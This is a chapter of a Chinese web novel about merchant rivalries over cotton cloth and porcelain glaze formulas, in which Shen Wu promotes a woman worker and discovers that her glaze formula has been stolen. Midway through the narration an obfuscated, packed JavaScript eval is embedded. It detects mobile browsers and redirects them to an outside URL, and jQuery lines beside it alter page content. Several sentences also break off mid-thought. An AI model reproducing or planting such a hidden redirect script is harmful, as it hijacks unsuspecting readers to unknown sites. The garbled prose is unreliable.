河南省地跨海河、黄河、淮河、长江四大流,大部分地域处于暖温带气候湿润适合各种农作物生长,也盛产棉花丝绸。因此滋生了许多布商。


    南阳府最大的三家布商,分别是白、仇、严三家当时陆记根本排不上号。


    白家商号和严家商号主做棉布生意两家多年来既有竞争又有合作。


    仇家商号背靠皇商仇家,做的多是高端的丝绸生意。


    而严秀秀便出自棉布商严家。


    说起来她也曾经如白九娘一样是千金大小姐起止坐卧都有人伺候。


    不过这是过去的事了,自打严家商号败落,她是落毛的凤凰不如鸡,一度过的十分艰难。


    面对沈妩的问话严秀秀觉得没什么好隐瞒的,将严家的情况一五一十的说了。


    “三年前,有个京城的客商订了好一大批棉布我父亲和大哥亲自押送入京不想路上飞来横祸,遇到山东逃往京城的灾民两方起了冲突,货物和人就都没了。”


    严秀秀说起往事时声音有些颤抖,只觉当时的惨烈还在脑子里怎么也挥不去。


    “后来我们得到消息派人去寻只找回了父亲的尸身,而我哥哥却不知所踪。听说当年山东旱灾严重,许多人都被饿死了,没办法才逃难到外地,一路上尸殍遍野还有饿的吃人的我哥哥年轻肉嫩怕是……”


    沈妩对严秀秀的遭遇有些同情的叹息一声问道：“就算没了当家人生意不做了但生活上也该有保障才是。”


    毕竟严家当时也是偌大的家产。


    然而并不是据沈妩让人调查到的严家当家人死后严秀秀带着寡母和幼弟一度沦落到贫民窟。


    严秀秀就解释道：“我爹生前因为那批棉布生意其实是举了债的我爹没了之后我娘就用家产还了债因我弟弟年幼我又是女子生意也便经营不下去了。”


    她至今还记得当时债主上门自己吓得不知所措弟弟年幼懵懂只有母亲勉励支撑。


    幸好她们抵卖产业和宅子好歹是还清了欠债。


    她道：“虽然都做棉布生意


    既然有婚约白家为何还眼睁睁看着严家母女被人逼债？


    严秀秀有些含糊的道：“其实这门亲事有两家联姻的意思我爹没了严家败落了我也不喜欢白家大少爷所以婚事也就不成了。”


    原来如此。


    沈妩觉得自己眼光不错严秀秀


    外柔内刚身上有一股这个时代的女子少有的坚韧。


    虽然家业没了但她凭着自己的能力扛起了养活母亲和幼弟的重担。


    她勉励道：“你是个能干的姑娘有你在严家未必不能重振。”


    严秀秀重重的点头。她觉得小东家真是自己的知己一语就说中了自己的心中所想。


    自从他们一家被从大宅子里赶出来她就心里发誓一定要凭自己的双手把宅子再买回来可惜她娘一直不相信她。


    沈妩微微一笑问她：“费管事应该跟你说了吧我想让你跟着窑厂的车队去外面见识一番。”


    严秀秀点头忐忑道：“我自然是愿意出门的就是让东家破费了。”


    她这一趟出门几乎所有的费用都是被服厂给报销除此之外沈妩还给她置办了衣裳、首饰等充门面的东西。


    沈妩对此并不在意她在乎的是这一趟回来严秀秀能否有所收获能否快速成长起来。


    她对严秀秀说道：“这世道女子想要做事总是比男子艰难。大家都说女子不如男子究其原因除了女子体力比男子弱之外就是吃亏在没见识上。男子可以走南闯北出门长见识而女子却只能困于闺阁和内宅。”


    但如果这个短板被补上了呢？


    沈妩认真的看向严秀秀：“我相信费管事能做到的事你也能做甚至比他做的更好。”


    严秀秀：“……”


    她激动的脸色发红恨不得立即就干出一番大事业好让沈妩知道她没有看错人。


    她的心情似是打了鸡血般亢奋语无伦次道：“小东家放心我一定好好努力必不会辜负您的期望。”


    严秀秀清晰的知道这次是她改变命运的机会可能是此生唯一一次错过必将遗憾终生。所以她得拼了命的努力


    从知州府出来严秀秀便回了家。自从进了被服厂做工她挣到的工钱全部用来改善家里的生活了。


    领了第一个月的工钱时她就带着母亲和弟弟搬到了城里租了一间民房一家三口算是有了稳定的住处。


    后来她为厂里拉了不少订单小东家给她发奖金也大部分用来支付房租了。


    严秀秀一边告知母亲自己要出一趟远门一边交代道：“房租我已经交了一整年的家里的米面油盐我也买了不少一会儿会有铺子里的伙计送来。我不在家你们有事就去被服厂找费管事看在东家的面上他应该会帮忙的。”


    严母听着不住的点头等女儿说


    完，她才露出心疼的神色，说道：“都是娘没用，还要你一个姑娘家抛头露面的挣钱养家。


    严秀秀摇摇头，道：“娘，我不觉得辛苦，每天这么忙忙碌碌的我才觉得生活有希望，心里踏实，不像从前在家里……整天浑浑噩噩的。


    好似除了等着年纪到了嫁人，然后生孩子为夫家传宗接代，她就没什么用处了。


    严母就叹了口气，半晌似是想起了什么，说道：“对了，白日里白家来人了，说是想九娘想见见你。


    严秀秀顿了顿，道：“我明儿就要走了，白家再来人你就说我忙着给东家干活没时间。


    见什么呢？两家早已不是一个世界的人了，何必强往一起凑呢。


    *****


    这次的棉布订单，虽然白九娘一再争取，甚至不惜大降价来促成合作，但沈妩最终还是采用招标的方式，与三家棉布商签订了合同。


    白家只分到了三分之一的量。


    白九娘因为没有完成家族交代的任务，被白显银排挤，险些丢了主事人的身份。


    好在沈妩不喜和白显银打交道，总觉得此人行事说话过于谄媚，心内藏奸，不靠谱。


    白家商号，她还是更喜欢和白九娘打交道，虽是女子但性子直爽，行事稳重。


    白九娘对此十分感激，特地在宝和楼宴请她以表感谢。


    当说起白老太爷，她苦笑着道，“比起我，我祖父更想培养孙子，要不是五姑娘你，只怕这回我就要被相看亲事准备嫁人了。


    无论是白显银还是祖祖父，其实更希望她的作用是为家里联姻，而不是抛头露面做生意。


    沈妩对此没有发表什么看法，但心底里还是想扶持白九娘。


    就像她说的，这个世道女子想要干一番事业总是阻碍重重，她希望在力所能及的范围帮到别人。


    两人正说着话，就传来守在门外面的婆子的禀报声：“姑娘，王县令来了。


    既然遇到了，那就见吧。


    沈妩看向白九娘，问她要不要回避，白九娘道：“我出身商户，倒没有那么多讲究。


    于是，王筹来时不止见到了沈妩，还有白九娘。


    许是没想到包厢里还有其他人，他面色不由有些迟疑，“文宰并不知还有外客，叨扰了。


    沈妩笑道，“不妨事，这位是我的合作伙伴，你来时我们正在说棉布订单的事。


    白九娘便顺着她的话给王筹屈膝见礼，“白家商号白九娘见过县令大人。


    白九


    娘之前远远的见过一次这位宝丰县新县令，只觉威风凛凛，此时近距离再看，竟是风仪俊朗，生的一表人才。


    而且对人意外的……和气。


    尤其是对着五姑娘的时候，周身的疏离散去，眼神变得特别的柔和。


    只听王筹对沈妩道：“有件事，本来我准备去府上寻你，不想半路便遇到了。


    沈妩一听就知道他说的是陆记这回又没有中标的事。


    果然王筹接着就问了他未选陆记的原由。


    沈妩心里不由叹了口气，思忖着该如何说，最终还是决定实话实说。


    “陆记报上来的价格并不占优势，而且他们家有故意拖延供货时间的不良记录。


    就算陆记不敢拖欠官府的货物，但被服厂可不是官方。


    总之一句话，用陆记有风险，沈妩冒不起这个险。


    王筹就面露惭愧，道：“实不相瞒，陆记的少东家陆沉源与我是同窗好友，他几次请托，并保证不会再重蹈覆辙。可否请五姑娘通融通融？


    王筹到底是沈父故交的侄儿，倒不好一点面子都不给他。


    沈妩想了想，说道：“这样吧，军资的订单已经给出去了，被服厂里还有几单民用订单，让陆记做吧。


    王筹这才松了口气，给沈妩作揖道：“多谢五姑娘体谅。


    因着还有别人，王筹并没有多待，事情说完就离开了。


    白九娘望着他离开的方向，说道：“这位王县令倒是个有情义的人。难得有读书人不嫌弃同窗是商户出身，还不惜脸面为其奔走。


    沈妩对此不置可否。


    与白九娘吃完饭，她就顺道去了被服厂。


    最近为了赶制军服，所有工人都在加班加点的干活。


    暑天难耐，沈妩害怕有工人劳累中暑，她特地让大夫开了消暑的凉茶方子，又让人买了药材，在厂里熬煮了，给工人们喝。


    费管事感叹道：“难为姑娘这样仁慈，还记挂着底下的人。


    沈妩笑了笑，与他商量道：“现如今厂里的工人数量不少，我琢磨着办个食堂，也方便些。除了工人们可以在食堂吃饭，还可以打饭回去给家里人。


    因着他们厂的工人多数是三十来岁的妇人，一家主妇，她们出来做工，家里的老人孩子难免吃不上饭，倒不如厂子里一并将这些解决了。


    沈妩大概算过，如果开办食堂，虽然赚不了多少钱，但绝对不会亏本。如此还能凝聚人心。


    费管事自然不会反驳东家的意见，闻


    言忙点头说立即就安排。


    沈妩就道：“算着日子，严秀秀也该回来了，食堂的事就交给她来办吧。”


    费管事浑身一个激灵，小东家这是要对严秀秀委以重任了。虽然姑娘早有暗示，会培养严秀秀做被服厂的管事，但真正到了这个时候他还是有些不敢置信。


    小东家真的用了女子为自己办事。


    他不由想到了自己的小女儿，正是十五及笄的年岁，一直在家里娇养着，他没舍得送到府里伺候主子，想着到了年纪就给相看一门家境殷实的婆家。


    但此刻见了严秀秀的崛起，他不由有些犹豫。


    其实小女儿也可以等两年再成亲，趁着自己还是管事的，可以将她送到五姑娘身边学学世事人情，不奢望有严秀秀这般好的前程，但好歹能自己养活自己，就算将来去了婆家也能被高看一眼。


    严秀秀回来的时候，官府的订单刚刚交货，此时距离西北边军与大凉开战已经两月有余。


    有不少消息从西北断断续续传来，一会儿说大成连败了三场，主将镇南候被皇帝治了罪，一会儿说有将帅被大凉军俘虏，还有人说朝廷里出了叛徒，向大凉出卖军情报。


    真真假假，谁也分辨不清。


    沈妩虽然也关注西北战事，但更操心眼下的事。


    云鉴和沈诺这回也随着田丰的车队回来了。


    一见到沈妩就摇头。


    方家窑厂的背景很复杂，根本不惧沈家。


    “方家窑厂已经烧出了矾红，并且连吹釉法也学了去，好在我亲自出面，稳住了窑厂的老客户，但即便如此，窑厂的利润还是缩水了不少。”云鉴有些沮丧的说道。


    沈妩叹息一声，安慰道：“好歹只是方家窑厂一家，大不了以后两家将市场划分开，云家窑厂占北边，方家窑厂占南边。”


    市场划分，这是云鉴走时和沈妩商量出来的解决办法。想着就此与方家窑厂协商


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222097|130696||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    但显然方家窑厂没答应。


    大成朝北方多权贵，权贵们大多喜爱矾红这样色彩浓重的瓷器，南方多世家，学风盛行，而文人多喜爱色彩文雅素静的瓷器。


    矾红在北方比南方受欢迎。


    云鉴道：“我查到方家窑厂实际的东家是承恩公府的次子赵清鹤。”


    沈妩眼里划过一丝意外。


    承恩公府是当今皇后的母家。虽然皇后所出的嫡子早夭，但皇后地位依然稳固。


    事情到这一步，云鉴只能自认倒霉，这个亏不想吃也得吃了。


    “


    阿妩，窑厂的事我已经全权交付给夏管事了，我要专心备考参加今年的秋闱。云鉴仿佛下定了某种决心。


    经此一遭，他也算看明白了，权势是个好东西，只有手握权利才能得到自己想要的一切。


    现在的他甚至连家业也守不住，可笑之前还奢望娶到那样门第的女子。


    他能想通这些，沈妩还挺欣慰的。


    云鉴的性子说的好听些是随遇而安，说的不好听就是不思进取，随波逐流。


    之前为了给云筝找个好亲事，他才下决心好好念书，勉强考中了秀才。之后就又消极怠工起来，看着似是对考举人没什么想法了。


    如今，丢了一个配方，却误打误撞激发出了他的上进心，倒也值得。


    云鉴开始在功课上用功的时候，沈妩将的窑厂和被服厂经营的有声有色。


    尤其是被服厂，自打让严秀秀开办了食堂，这一举措大大提高了工人们的干劲，一度喊出了“工厂是我家的口号。


    日子就这么波澜不惊的过着，直到这日田丰来请见沈妩。


    “小东家，我们窑厂的青白瓷配方泄露了。


    沈妩闻言，面色微变，“说清楚，到底怎么回事？


    田丰一得到消息，就赶来知州府禀报沈妩，愣是累出来一头的冷汗。


    此时，他一边擦着额上的汗珠子，一边将情况原原本本说了一遍。


    “事情还得从三日前说起，原是窑厂的一个客户订了三件青白釉宝瓶，约定好半月后成交，不想前天突然派人来说不要了。


    “窑厂做生意，这种下了订单又反悔的情况也是有的，只要交了违约金窑厂也不会追究。


    “小的一开始并未在意，不想自那日至今已有三笔订单被退。小的这才察觉了不对劲。


    说到这里，他不禁有些口干舌燥。


    沈妩便让金书给他端了杯茶。


    “小的谢过小东家赐茶。田丰接过喝了一口，才继续说下去。


    “小的立即派人去查，才发现有人烧出了和咱们窑厂一样的青白釉瓷。


    “这不可能。沈妩下意识的说道。


    在前世，青白釉瓷自创烧以来就是独门绝技，原因就是其烧造的技艺领先当时许多，所以即便不少人仿制，最但终都失败了。


    除非是被人偷走了秘方，否则对方是不可能烧出青白釉的。


    “你查出来是哪家窑厂？沈妩冷静了一下问道。


    田丰顿了顿，才道：“是……陆记。


    沈妩眯了眯眼，回头看了他一眼。


    田丰肯定的点头，“小的不敢欺瞒东家，的确是那个做棉布生意的陆记，小的查到他家最近收购了大小三四个窑厂，只怕是也要做瓷器生意。”


    沈妩冷笑一声，“他家做什么生意我不管，但一上来就又偷秘方又抢生意，看来是来者不善啊。”


    她吩咐田丰，“去查，这个陆记到底是什么来头。”


    王筹曾说过陆记的少东家是他的同窗好友，但沈妩觉得对方在明知道自己的身份的情况下，依然敢对自己的窑厂出手，背后肯定有所倚仗。


    田丰还是第一次见沈妩动气，一刻都不敢耽误的去查了。


    不想竟没怎么费工夫就查到了陆记的老底子。


    “小东家，小的打听到这个陆记的少东家有位姑姑被送给了承恩公做妾，这妾室运道好，生下了儿子，就是承恩公的次子，叫赵清鹤。”


    赵清鹤？又是他！


    沈妩一下子就被气笑了，这人是专门盯着自家欺负吗？


    前有云鉴丢了矾红瓷配方，现在又是自己被偷了青白釉秘方。


    此人一而再再而三的欺上门来，是可忍孰不可忍，沈妩决定反击。


    不过，就算反击也得讲究方法技巧。


    沈妩深吸了口气，对田丰说道：“这几日把窑厂的订单整理一下，然后空出一口窑准备试烧新瓷。”


    “新瓷？”田丰面上露出惊诧之色，“小东家说的是真的？”


    他在这一行干久了，有些行情也就知道了。比如新的瓷器，不是每个窑厂都敢烧能烧的，大部分窑厂终其一生也只能捡现成的，比如陆记。


    像小东家这样一上来就试烧新瓷，还成功了的堪称凤毛麟角。


    所以，一听到小东家说还要烧新瓷，他才这么不敢置信。


    沈妩瞥了一眼田丰，道：“你看我像开玩笑吗？”


    田丰讪讪笑着，不敢说话。


    沈妩继续交代他，“咱们要试烧新瓷的事没必要瞒着，尽可以宣扬出去让人知道。不过，在此之前还有一件事，你得尽快办了。”


    田丰隐隐猜到沈妩要说什么，摆出一副洗耳恭听的表情。


    果然就听小东家说道：“查清楚，到底是谁泄露了配方？”


    ……


    田丰去查泄露配方的人，沈妩也没闲着。她让云鉴帮自己约见王筹。


    陆沉源是王筹给她引荐的，现在陆记背刺她，王筹得给她一个交代。


    却不想，沈妩到了与王筹约定的见面地点，宝和楼时，包间里不止他一个人。


    “五姑娘，我给你介绍一下，这位是承恩公府的二公子赵清鹤，这位是我的好友，陆记的少东家陆沉源。”


    ……


    作者有话要说